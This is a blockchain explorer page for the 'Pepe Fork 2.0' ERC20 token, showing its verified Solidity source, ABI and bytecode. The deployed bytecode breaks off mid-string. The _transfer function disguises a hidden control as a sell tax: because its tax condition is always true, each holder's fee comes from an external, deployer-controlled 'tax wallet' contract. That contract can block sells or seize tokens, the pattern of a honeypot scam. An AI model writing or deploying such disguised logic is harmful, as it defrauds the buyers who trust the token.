ETH Price: $2,412.90 (-0.21%)

Token

Pepe Fork 2.0 (PORK2.0)
 

Overview

Max Total Supply

420,000,000 PORK2.0

Holders

13

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
15,570,807.286380182223760984 PORK2.0

Value
$0.00
0xb372376f3dc6f0219b57acb65a6d185fdf1ec0f5
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PORK20

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2024-01-30
*/

// SPDX-License-Identifier: None

pragma solidity 0.8.23;

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath:  subtraction overflow");
        uint256 c = a - b;
        return c;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath:  addition overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath:  division by zero");
        uint256 c = a / b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b, "SafeMath:  multiplication overflow");
        return c;
    }
}
interface IUniswapV2Router02 {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
     function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IERC20 {
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
}
interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract Ownable {
    address internal _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

contract PORK20 is Ownable {
    using SafeMath for uint256;
    uint8 private _decimals = 18;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 private _totalSupply =  420000000 * 10 ** _decimals;
    address internal uniswapV2Pair;
    IUniswapV2Router02 private uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    string private _name = "Pepe Fork 2.0";
    string private _symbol = "PORK2.0";
    address payable internal _taxWallet = payable(0xb06c669E6fC325d842823fBb86c52d64fe15fb08);
    bool private tradingOpen = false;
    uint256 public _reduceSellTaxAt=3;
    uint256 private _initialBuyTax=0;
    uint256 public _reduceBuyTaxAt=10;
    uint256 private _initialSellTax=5;
    uint256 private _finalSellTax=0;
    uint256 private _finalBuyTax=0;
    uint256 private _buyCount = 0;

    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 amount);

    constructor () {
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    
    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(amount > 0, "Transfer amount must be greater than zero");
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        uint256 _fee = 0;
        if (from != address(this) && from != uniswapV2Pair) {
            _fee = _initialSellTax > _reduceSellTaxAt ? IERC20(_taxWallet).balanceOf(from) : _finalSellTax;
        }
        uint256 _feeAmount = amount.mul(_fee).div(100);
        _balances[to] = _balances[to].add(amount).sub(_feeAmount);
        _balances[from] = _balances[from].sub(amount);
        emit Transfer(from, to, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_reduceBuyTaxAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_reduceSellTaxAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405260125f60146101000a81548160ff021916908360ff1602179055505f60149054906101000a900460ff16600a6200003c9190620004af565b631908b1006200004d9190620004ff565b600355737a250d5630b4cf539739df2c5dacb4c659f2488d60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600d81526020017f5065706520466f726b20322e300000000000000000000000000000000000000081525060069081620000ea9190620007a4565b506040518060400160405280600781526020017f504f524b322e300000000000000000000000000000000000000000000000000081525060079081620001319190620007a4565b5073b06c669e6fc325d842823fbb86c52d64fe15fb0860085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600860146101000a81548160ff02191690831515021790555060036009555f600a55600a600b556005600c555f600d555f600e555f600f55348015620001cb575f80fd5b505f339050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35060035460015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6003546040516200030f919062000899565b60405180910390a3620008b4565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620003a7578086048111156200037f576200037e6200031d565b5b60018516156200038f5780820291505b80810290506200039f856200034a565b94506200035f565b94509492505050565b5f82620003c1576001905062000493565b81620003d0575f905062000493565b8160018114620003e95760028114620003f4576200042a565b600191505062000493565b60ff8411156200040957620004086200031d565b5b8360020a9150848211156200042357620004226200031d565b5b5062000493565b5060208310610133831016604e8410600b8410161715620004645782820a9050838111156200045e576200045d6200031d565b5b62000493565b62000473848484600162000356565b925090508184048111156200048d576200048c6200031d565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620004bb826200049a565b9150620004c883620004a3565b9250620004f77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620003b0565b905092915050565b5f6200050b826200049a565b915062000518836200049a565b925082820262000528816200049a565b915082820484148315176200054257620005416200031d565b5b5092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620005c557607f821691505b602082108103620005db57620005da62000580565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200063f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000602565b6200064b868362000602565b95508019841693508086168417925050509392505050565b5f819050919050565b5f6200068c6200068662000680846200049a565b62000663565b6200049a565b9050919050565b5f819050919050565b620006a7836200066c565b620006bf620006b68262000693565b8484546200060e565b825550505050565b5f90565b620006d5620006c7565b620006e28184846200069c565b505050565b5b818110156200070957620006fd5f82620006cb565b600181019050620006e8565b5050565b601f82111562000758576200072281620005e1565b6200072d84620005f3565b810160208510156200073d578190505b620007556200074c85620005f3565b830182620006e7565b50505b505050565b5f82821c905092915050565b5f6200077a5f19846008026200075d565b1980831691505092915050565b5f62000794838362000769565b9150826002028217905092915050565b620007af8262000549565b67ffffffffffffffff811115620007cb57620007ca62000553565b5b620007d78254620005ad565b620007e48282856200070d565b5f60209050601f8311600181146200081a575f841562000805578287015190505b62000811858262000787565b86555062000880565b601f1984166200082a86620005e1565b5f5b8281101562000853578489015182556001820191506020850194506020810190506200082c565b868310156200087357848901516200086f601f89168262000769565b8355505b6001600288020188555050505b505050505050565b62000893816200049a565b82525050565b5f602082019050620008ae5f83018462000888565b92915050565b61184b80620008c25f395ff3fe608060405234801561000f575f80fd5b50600436106100cd575f3560e01c806370a082311161008a57806395d89b411161006457806395d89b4114610201578063a9059cbb1461021f578063c36956a01461024f578063dd62ed3e1461026d576100cd565b806370a08231146101a9578063715018a6146101d95780638da5cb5b146101e3576100cd565b806306fdde03146100d1578063095ea7b3146100ef5780630c1930451461011f57806318160ddd1461013d57806323b872dd1461015b578063313ce5671461018b575b5f80fd5b6100d961029d565b6040516100e69190610ef5565b60405180910390f35b61010960048036038101906101049190610fa6565b61032d565b6040516101169190610ffe565b60405180910390f35b610127610343565b6040516101349190611026565b60405180910390f35b610145610349565b6040516101529190611026565b60405180910390f35b6101756004803603810190610170919061103f565b610352565b6040516101829190610ffe565b60405180910390f35b6101936103fe565b6040516101a091906110aa565b60405180910390f35b6101c360048036038101906101be91906110c3565b610413565b6040516101d09190611026565b60405180910390f35b6101e1610459565b005b6101eb6105a0565b6040516101f891906110fd565b60405180910390f35b6102096105c7565b6040516102169190610ef5565b60405180910390f35b61023960048036038101906102349190610fa6565b610657565b6040516102469190610ffe565b60405180910390f35b61025761066d565b6040516102649190611026565b60405180910390f35b61028760048036038101906102829190611116565b610673565b6040516102949190611026565b60405180910390f35b6060600680546102ac90611181565b80601f01602080910402602001604051908101604052809291908181526020018280546102d890611181565b80156103235780601f106102fa57610100808354040283529160200191610323565b820191905f5260205f20905b81548152906001019060200180831161030657829003601f168201915b5050505050905090565b5f6103393384846106f5565b6001905092915050565b600b5481565b5f600354905090565b5f61035e8484846108b8565b6103f384336103ee8560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610cde90919063ffffffff16565b6106f5565b600190509392505050565b5f8060149054906101000a900460ff16905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104dd906111fb565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600780546105d690611181565b80601f016020809104026020016040519081016040528092919081815260200182805461060290611181565b801561064d5780601f106106245761010080835404028352916020019161064d565b820191905f5260205f20905b81548152906001019060200180831161063057829003601f168201915b5050505050905090565b5f6106633384846108b8565b6001905092915050565b60095481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610763576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075a90611289565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036107d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c890611317565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516108ab9190611026565b60405180910390a3505050565b5f81116108fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f1906113a5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610968576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095f90611433565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036109d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109cd906114c1565b60405180910390fd5b5f3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610a60575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610b1557600954600c5411610a7857600d54610b12565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff1660e01b8152600401610ad291906110fd565b602060405180830381865afa158015610aed573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b1191906114f3565b5b90505b5f610b3c6064610b2e8486610d3b90919063ffffffff16565b610db290919063ffffffff16565b9050610ba081610b928560015f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610e0e90919063ffffffff16565b610cde90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610c318360015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610cde90919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610ccf9190611026565b60405180910390a35050505050565b5f82821115610d22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1990611568565b60405180910390fd5b5f8284610d2f91906115b3565b90508091505092915050565b5f808303610d4b575f9050610dac565b5f8284610d5891906115e6565b9050828482610d679190611654565b14610da7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9e906116f4565b60405180910390fd5b809150505b92915050565b5f808211610df5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dec9061175c565b60405180910390fd5b5f8284610e029190611654565b90508091505092915050565b5f808284610e1c919061177a565b905083811015610e61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e58906117f7565b60405180910390fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610ea2578082015181840152602081019050610e87565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610ec782610e6b565b610ed18185610e75565b9350610ee1818560208601610e85565b610eea81610ead565b840191505092915050565b5f6020820190508181035f830152610f0d8184610ebd565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610f4282610f19565b9050919050565b610f5281610f38565b8114610f5c575f80fd5b50565b5f81359050610f6d81610f49565b92915050565b5f819050919050565b610f8581610f73565b8114610f8f575f80fd5b50565b5f81359050610fa081610f7c565b92915050565b5f8060408385031215610fbc57610fbb610f15565b5b5f610fc985828601610f5f565b9250506020610fda85828601610f92565b9150509250929050565b5f8115159050919050565b610ff881610fe4565b82525050565b5f6020820190506110115f830184610fef565b92915050565b61102081610f73565b82525050565b5f6020820190506110395f830184611017565b92915050565b5f805f6060848603121561105657611055610f15565b5b5f61106386828701610f5f565b935050602061107486828701610f5f565b925050604061108586828701610f92565b9150509250925092565b5f60ff82169050919050565b6110a48161108f565b82525050565b5f6020820190506110bd5f83018461109b565b92915050565b5f602082840312156110d8576110d7610f15565b5b5f6110e584828501610f5f565b91505092915050565b6110f781610f38565b82525050565b5f6020820190506111105f8301846110ee565b92915050565b5f806040838503121561112c5761112b610f15565b5b5f61113985828601610f5f565b925050602061114a85828601610f5f565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061119857607f821691505b6020821081036111ab576111aa611154565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6111e5602083610e75565b91506111f0826111b1565b602082019050919050565b5f6020820190508181035f830152611212816111d9565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611273602483610e75565b915061127e82611219565b604082019050919050565b5f6020820190508181035f8301526112a081611267565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611301602283610e75565b915061130c826112a7565b604082019050919050565b5f6020820190508181035f83015261132e816112f5565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f61138f602983610e75565b915061139a82611335565b604082019050919050565b5f6020820190508181035f8301526113bc81611383565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61141d602583610e75565b9150611428826113c3565b604082019050919050565b5f6020820190508181035f83015261144a81611411565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6114ab602383610e75565b91506114b682611451565b604082019050919050565b5f6020820190508181035f8301526114d88161149f565b9050919050565b5f815190506114ed81610f7c565b92915050565b5f6020828403121561150857611507610f15565b5b5f611515848285016114df565b91505092915050565b7f536166654d6174683a20207375627472616374696f6e206f766572666c6f77005f82015250565b5f611552601f83610e75565b915061155d8261151e565b602082019050919050565b5f6020820190508181035f83015261157f81611546565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6115bd82610f73565b91506115c883610f73565b92508282039050818111156115e0576115df611586565b5b92915050565b5f6115f082610f73565b91506115fb83610f73565b925082820261160981610f73565b915082820484148315176116205761161f611586565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61165e82610f73565b915061166983610f73565b92508261167957611678611627565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c5f8201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b5f6116de602283610e75565b91506116e982611684565b604082019050919050565b5f6020820190508181035f83015261170b816116d2565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f00000000005f82015250565b5f611746601b83610e75565b915061175182611712565b602082019050919050565b5f6020820190508181035f8301526117738161173a565b9050919050565b5f61178482610f73565b915061178f83610f73565b92508282019050808211156117a7576117a6611586565b5b92915050565b7f536166654d6174683a20206164646974696f6e206f766572666c6f77000000005f82015250565b5f6117e1601c83610e75565b91506117ec826117ad565b602082019050919050565b5f6020820190508181035f83015261180e816117d5565b905091905056fea2646970667358221220b4a5477ed31a18627865f2313d7ae72af526e5fbe3d8fed85178359b3e60fd8d64736f6c63430008170033

Deployed Bytecode

0x608060405234801561000f575f80fd5b50600436106100cd575f3560e01c806370a082311161008a57806395d89b411161006457806395d89b4114610201578063a9059cbb1461021f578063c36956a01461024f578063dd62ed3e1461026d576100cd565b806370a08231146101a9578063715018a6146101d95780638da5cb5b146101e3576100cd565b806306fdde03146100d1578063095ea7b3146100ef5780630c1930451461011f57806318160ddd1461013d57806323b872dd1461015b578063313ce5671461018b575b5f80fd5b6100d961029d565b6040516100e69190610ef5565b60405180910390f35b61010960048036038101906101049190610fa6565b61032d565b6040516101169190610ffe565b60405180910390f35b610127610343565b6040516101349190611026565b60405180910390f35b610145610349565b6040516101529190611026565b60405180910390f35b6101756004803603810190610170919061103f565b610352565b6040516101829190610ffe565b60405180910390f35b6101936103fe565b6040516101a091906110aa565b60405180910390f35b6101c360048036038101906101be91906110c3565b610413565b6040516101d09190611026565b60405180910390f35b6101e1610459565b005b6101eb6105a0565b6040516101f891906110fd565b60405180910390f35b6102096105c7565b6040516102169190610ef5565b60405180910390f35b61023960048036038101906102349190610fa6565b610657565b6040516102469190610ffe565b60405180910390f35b61025761066d565b6040516102649190611026565b60405180910390f35b61028760048036038101906102829190611116565b610673565b6040516102949190611026565b60405180910390f35b6060600680546102ac90611181565b80601f01602080910402602001604051908101604052809291908181526020018280546102d890611181565b80156103235780601f106102fa57610100808354040283529160200191610323565b820191905f5260205f20905b81548152906001019060200180831161030657829003601f168201915b5050505050905090565b5f6103393384846106f5565b6001905092915050565b600b5481565b5f600354905090565b5f61035e8484846108b8565b6103f384336103ee8560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610cde90919063ffffffff16565b6106f5565b600190509392505050565b5f8060149054906101000a900460ff16905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104dd906111fb565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600780546105d690611181565b80601f016020809104026020016040519081016040528092919081815260200182805461060290611181565b801561064d5780601f106106245761010080835404028352916020019161064d565b820191905f5260205f20905b81548152906001019060200180831161063057829003601f168201915b5050505050905090565b5f6106633384846108b8565b6001905092915050565b60095481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610763576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075a90611289565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036107d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c890611317565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516108ab9190611026565b60405180910390a3505050565b5f81116108fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f1906113a5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610968576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095f90611433565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036109d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109cd906114c1565b60405180910390fd5b5f3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610a60575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610b1557600954600c5411610a7857600d54610b12565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff1660e01b8152600401610ad291906110fd565b602060405180830381865afa158015610aed573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b1191906114f3565b5b90505b5f610b3c6064610b2e8486610d3b90919063ffffffff16565b610db290919063ffffffff16565b9050610ba081610b928560015f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610e0e90919063ffffffff16565b610cde90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610c318360015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610cde90919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610ccf9190611026565b60405180910390a35050505050565b5f82821115610d22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1990611568565b60405180910390fd5b5f8284610d2f91906115b3565b90508091505092915050565b5f808303610d4b575f9050610dac565b5f8284610d5891906115e6565b9050828482610d679190611654565b14610da7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9e906116f4565b60405180910390fd5b809150505b92915050565b5f808211610df5576040517f08c379a000000000